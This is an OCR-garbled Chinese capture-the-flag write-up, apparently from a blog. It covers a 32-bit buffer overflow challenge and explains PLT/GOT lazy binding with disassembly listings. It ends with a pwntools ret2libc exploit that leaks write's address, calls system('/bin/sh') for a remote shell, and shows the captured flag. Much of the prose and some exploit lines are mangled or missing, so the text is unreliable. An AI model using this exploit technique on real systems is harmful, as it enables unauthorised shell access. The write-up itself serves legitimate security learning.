a\-au 1 ~edn.netioaq 4644142
R o Evé%mngathE:LL_4ﬁ4414if

1 '/home/ubuntu/EH/level3'
Arch: 1386-32-little
RELRO: Partial RELRO
Stack:

NX:
PIE:




XTI RAQZERN, BIER, RNERMESE, HIRNEHEE
RIAE —Mevel 31 B —AMibe X 4

1fint __cdecl main(int argc, const char **argv, const char **envp)
2

3| wulnerable_function();

4] write(1l, "Hello, World!\n", ®xEu);

5/ return 8;

6}

ssize t vulnerable function()

{
char buf[136]; // [esp+8h] [ebp-88h] BYREF

write(1, "Input:\n", 7u);
return read(®, buf, 8x100u);
¥

I midtvuinerable_function(), —&, HREAATHATH, HEXEBEFWNAFGED, B LLHKRKrop
1B R shift F12%&H

Address Length Type String

@ LOAD:080481... 00000013 flib/ld-linux.s0.2
@ LOAD:080482... 0000000A libc.so.6

s LOAD:080482... 0000000F 10 stdin_used

@ LOAD:080482... 00000012
@ LOAD:0B0482... 00000006
@ LOAD:080482... 0000000F
B LOAD:080482... 0000000A

__libc_start_main
write
__gmon_start__
GLIBC 2.0

) IS

@ .rodata:08048... 00000008 C Inputin

@ .rodata:08048... 0000000F C Hello, World\n
@ .eh_frame:080... 00000005 C G\

@ LOAD:080481... 00000013 C Mib/ld-linux.s0.2
@ LOAD:080482... 0000000A C libc.so.6

[5] LOAD:080482... D0D000OF C 10 stdin_used

[5] LOAD:080482... 00000012 C _libc_start_main
@ LOAD:080482... 00000006 C write

[5] LOAD:080482... D0D000OF C __gmon start_

B LOAD:080482... 0000000A C GLIBC 2.0

IE .rodata:08048... 00000008 C Input\n
[E] .rodata:08048... 0000000F C Hello, World™\n
[E] .eh_frame:080... 00000005 C 2N

ERBATRE T — A shE 5, T LA ZH Blsystem A *bin/sh’ BT 7 oH B ) bk

plt&got



St —BCARUS

print_banner

printf

main

print_banner
(%]

ffF] gcc -wall -g -o test.o -c test.c -m32 4w, TEJRFtest.c 15 Ftest.o

fEF4r4 gcc -0 test test.o -m32 B3] —/NA]HAT




F objdump -d test.o B test.oRILY

POEOEAAe <print banner=:

B 55 %ebp

B 89 e5 %esp,%ebp
53 %ebx
83 ec $0x4,%esp
eB8 fc ff ff 8 <print_banner+0x8=
05 01 00 00 $0x1,%eax
83 ec
8d 90 00 00 00 0x0(%eax) ,%edx
52 %edx
89 c3 %eax,%ebx
eB8 fc ff ff le <print_banner+0xle=
83 c4 $0x10,%esp
=13
8b 5d -0x4(%ebp) ,%ebx
c9
c3

https://blog.csdn.net/gg_

7. B—4T, Whprint bannerifl A T Ci& = E B I printfi& %

THATE ¥ FBIMlibcsk # glibckh & % WLHICIE S B, T printfek H & 77 761X Lo B 1

E7: BM—ATATLLE W, BRE B printfe 202 e i, (HiXRlitle, FTUARZRMcE, MiZf-4. XEFNRE LR
IBAT B 7 B € printfAé ik

{HRIZBITH, TEEKcallB—H28 f B IE Fprintfisbhk, B 0] 28 s B IF bk ?

T—A BBt R B B, 1Etest.o4E AT AT U IR S A2 B — /DN BARED, 853X B ARG 3R B printfi) Hy bk

text

/1 & F printfif calli 4
call printf_stub

printf_stub:

mov rax, [printfe& i %77 ht] // SREXprintf & 247 2 5 Kkt
jmp rax // Bkid % AT printfek #

.data

printfER EL A fig A bk X B A% A7 printfif 2 E 2 AL 5 i Hh bk

U B printf_stubIE printfi& B 77 i bk i Bleax B, )5 Bjmpid %
TR B AN R s bk ) R M #GOTZ, global offset table. FEHUEIAMUAE MY fifplt
1% F 54 objdump -sd test -M intel

00000330 <.plt=:

3a0: ff b3 04 o8 DWORD PTR [ebx+0x4]
3a6: ff a3 08 00 DWORD PTR [ebx+0x8]
3ac: 00 00 BYTE PTR [eax],al

000003b8 <puts@plt>:

3bo: ff a3 6c 00 60 06 jmp DWORD PTR [ebx+@xc]
3b6: 68 00 00 00 00 TR Ox0

3bb: ed e ff ff ff jmp 3a0 <.plt=

000003cO <__ libc_start_main@plt=>:

3co: ff a3 10 00 60 00 jmp DWORD PTR [ebx+0x10]
3c6: 68 08 00 00 00 TR Ox8

3ch: ed do ff ff ff jmp 3a0 <.plt=

Disassembly of section .plt.got:



000003d0 <__cxa_finalize@plt=:
3doe: ff a3 18 00 60 00 DWORD PTR [ebx+0x18]
3d6: 66 90 ax,ax

000003d8 <__gmon_start__@plt=:
3d8: ff a3 1c 00 68 00 DWORD PTR [ebx+0x1c]
3de: 66 90 amiie://blog.csdn.net/gq_

0000051d <print_banner=:
51d: 55 ebp
5le: 89 e5 ebp,esp
520: 53 ebx
521: 83 ec esp,0x4
524: e8 4d 00 00 576 < x86.get _pc_thunk.ax=
529: @5 af 00 00 eax,0xlaaf
52e: 83 ec esp,dxc
Sk 8d 90 e6 ff ff edx,[eax-0x19d8]
537: 52 edx
538: 89 c3 ebx,eax
53a: e8 71 ff ff 3b® <puts@plt=
53f: 83 c4 ! esp,0x10
542: 96
543: 8b 5d ebx,DWORD PTR [ebp-0x4]
546: co it csdn.netlgq_46441427
547: c3 —

& B AT MprintPE BIHEEI3b0, 485 BT 3b0A B # i Hu kit

print_banner: : _ rintf@got: ,
= printf@plt: P d f7e835f0 <printf>:
e VL, " imp *printf@got -—¥> 0Xf7e835f0—> '*

J
ret
write file:
- : f7e86f0 <write>:
| write@plt: write@got:
call write@plt —7 jmp *write@got — P 0xf7e86f0 / ret
THRIT PIT & GOT & glibc ##Y printf

#1 write R%g

EANE R RN R IXA ], REXANEBREM, #igE T (htps//blog.csdn.netlinyt/article/details/516357687?
utm_source=app&app_version=4.5.2)

—ITUEXT BT A i R Bk AT E E AL AR BRI
BUE R A R R BT ) B O A AT S A

adress:

jmp *printf@got




Ee i —FF 4 printf@gotik — Mook _printfii ik, look_printfS-#Fprintfitht, 5 Aprintff@got,look_printfik [B] #]adess i #, XFE
T jmp *printf@goth i 7] LA B 2Bk Bl printf AT

HEE R YA FIE printfi Hhbk G R E XL —TF

E I Z AT HIpltsR

Disassembly of section .plt:

00000320 <.plt=:

3a0: ff b3 64 06 08 60 pushl ©x4(%ebx)
3a6: ff a3 68 00 08 60 imp *Ax8(%ebx)
3ac: 08 68 ahd %al, (%eax)

000003b0 <puts@plts:

3b6: ff a3 6c 00 08 60 jmp *Axc(%ebx)
3b6: 68 00 00 00 00 push S0x0

3bb: ed ed ff ff ff imp 3a0 <.plt=
000003cOd < 1libc start main@plt=:

3cO: ff a3 10 00 08 00 imp *@x10(%ebx)
3ch: 68 08 00 00 00 push 50x8

3cb: e9 do ff ff ff jmp 3a0 <.plt=

Disassembly of section .plt.got:

XERBRT 8 ptH b I pltR 5 — & jmp R 2 Bk 25T B got, X B 5% 40 5 R S0 A AT, 31X B Huhk X Biplt R B — %A

4, push0x0

AR LA Hpeda&FE got

FIxx jmpffititit, KIEER T — a0k, Wi, 18T gotRfEE XIBEREHmp T —17#4, FAEEAE #ITgot
BRH, FTLAERR S HputR B N A

BT A& % ATpush 0x0, 2R JE k#2320, BEEBEFIE —/plt

PATHE —pushkER, RJEIXNmp OXSEBATZ BT 20, HENER T B — it

Fr AR IXANFF: func@plt Elfunc@gotBlfunc@plt®] .pltEliz 17 i 347 E 2 ALK B %dl_runtime_resolve

fEfunc@pltt, B —/ push OX0OF—NAFH R EpushI{EA—FE, XEEE IR runtime_resolve B 3R M8 — A b& H i B bt

".rel.dyn' at offset ©x328 contains 8 entries:
58 X HSE TSR

00001ed8 00000008 R_386_RELATIVE
00001edc ©0O000DOGO8 R_386_ RELATIVE
0e0a1ff8 00000008 R_386_ RELATIVE
00002004 00000008 R_386_RELATIVE
0pe01fec 00000106 R_386_GLOB_DAT 0opo0e0e _ITM_deregisterTMClone
peEe1ffe 00000206 R_386 GLOB_DAT @00EEEBe  cxa_ finalize@GLIBC 2.1.3
peee1ff4 0OOEO406 R 386 GLOB_DAT @eeEEEee _ gmon_start
00001ffc 00000606 R_386_GLOB_DAT 0opo0e0e _ITM_registerTMCloneTa

%'@iigg ‘.rel.plt' at offset 0x368 contains 2 entries:
wiE= =2 e i) 5= S AR
00001fed 0OOOO307 R_386_JUMP_SLOT 00000000 ﬁ%_ @%% C

00001fe8 00000507 R_386 JUMP SLOT 000OAAAO b

WEREHAT, 00001fed Xt Rz i puts@plt+ 2 —1Tjmpfigotib bt
gotR Ml =AMEFER I

got[0]: AELF 312 Bt (.dynamicBt) HIZE#Hhht
got[1]: AELFlink_map%idE 4 1 # iR fF s bk
got[2]: _dl_runtime_resolve i ¥ i Huhk



MERERERZE—T

0 N O OB~ WON -

call  0x80482b0 <puts@plt>

F 3
PLTZE

—»{ 08048220 <putslplt-0x10>:

80482a0: pushl 0x30496£0

80452d0: jmp *0x8049700

20482d6: push  F0x10

80482db: jmp 8048220

9 igME

' 4 | 80482a6: jmp  *0x80496f4 GOTE
»| 08048260 <putsplid: ) 008049600 |—»  GymanickR
20482k0; j +0x 8049618 = .
. 5 Oxf7ffd918 +——  link map
20489b6: push  $0x0 < 3 I
| 804820p: ip T > 0xf7ff06a0 +—f—| dl_runtime resolve
080482c0 <__gmon_start_ @pltd>: 5
204820 jmp *0u 80496 c I—P 0x080482b6 8
- #Hputs
20482¢6: push  $0x8 0xf7eTcTel 7 |
BT putsFEH L
B0482ck: Jmp 20452a0
h 4
080482d0 <__libc_start_main@plt>: puts<0xf7e7c7el>

: RN ERBCRBIpIR, #E—Hjmp

Bk#% Flgotk

[ >R 2 plt

BeE A StpitR

BhElgot®, THXEMEHELIBIE_dl runtime_resolve B £ b bt

Bk _dl_runtime_resolve %, XANEBHE_d_runtime_resolve i # {4 1%
FE—MHF, RFputs@pltH TR gotfskputs B Hh kit

FE_fH, fAHputs




A

call 0x80482b0 <puts@plt>

A

FLTZE
08048220 <puts@plt—0x10>:

80482a0: pushl 0x80496£0

1 80482a6: jmp *0x80496£4 GOTE

080432b0 <putslplt>: 0x08049600 +—» dymani cfX

v

2048260 3 *0x80496f8 _ ;
o 5 0xf7ffd918 |——  link_mp

2048266: push  F0x0

8048%bb: mp — 0xf7ff06a0 ——G— | _dl_runtime_resolve
080482¢0 <__gmon_start_ @plt>: >

80452c0: jmp *0x80496fc I—P 0xf7eicTel —

20482¢h: push  $0x8 . .

80482¢ck: jmp 30452a0 +
080482d0 <__1libc_start main@plt>: puts<0xf7e7c7e0>

80482d0: Jmp *#0x8049700

80482d6: push  $0x10

80482db: Jmp 80482a0

4 M@

B RRAGEE, RATIAEMIE T R FpltFigoth &R, Wk mRBERATE X Fwrite K $, WRAHTwrite %, IAgotREE
T2 R R write B #uhk

Hexp




from pwn import

remote( ,49832)
ELF(

wr_got e.got|[
wr_plt e.plt[

vun_addr = e.symbols|[

payloadl (0x88+0x4) p32(wr_plt) p32(vun_addr) p32(0x1) p32(wr_got) p32(0x4)

p.sendlineafter( ,payloadl)

u3d2(p.recv(4))
(wr_addr))

1bc = ELF( )
lbc_start wr_addr lbc.symbols[

sys_addr = lbc_start + 1lbc.symbols|
bin_addr lbc_start 1bc.search( . @)

(0x88+0x4) p32(sys_addr) p32(9) p32(bin_addr)

p.sendline(payload2)

p.interactive()

ranex@franex-virtual-machine:~/5HS$ python pwnexp.py
[+] Opening connection to 111.2006.241.244 on port 49832:
[*] '/[fhome/franex/\xe6\xal\x8c\xe9\x9d\xa2/level3’

Arch: 1386-32-little

RELRO: Partial RELRO

Stack:

NX:
PIE:
rite address is Oxf760f3co
[*] '/[fhome/franex/\xe6\xal\x8c\xe9\x9d\xa2/libc_32.s50.6'
Arch: 1386-32-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
[*] Switching to interactive mode

cyberpeace{34d2bab7a736b690ff5fbb76caaa255e tips-iblog.csdn.net/qq_46441427
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